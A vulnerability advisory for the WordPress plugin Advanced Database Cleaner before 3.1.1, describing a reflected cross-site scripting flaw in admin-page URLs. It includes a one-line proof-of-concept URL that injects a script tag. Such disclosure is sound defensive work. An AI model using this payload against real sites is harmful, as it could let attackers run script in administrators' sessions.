WordPress Plugin Vulnerabilities

Advanced Database Cleaner < 3.1.1 - Reflected Cross-Site Scripting

Description

The plugin does not escape numerous generated URLs before outputting them back in href attributes of admin dashboard pages, leading to Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=advanced_db_cleaner&aDBc_tab=cron&aDBc_cat=all&"><script>alert(/XSS/)</script>

Other pages are affected

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of WuHan University
Submitter
ZhongFu Su(JrXnm) of WuHan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-06-27 (about 1 years ago)
Added
2022-06-27 (about 1 years ago)
Last Updated
2023-04-01 (about 1 years ago)

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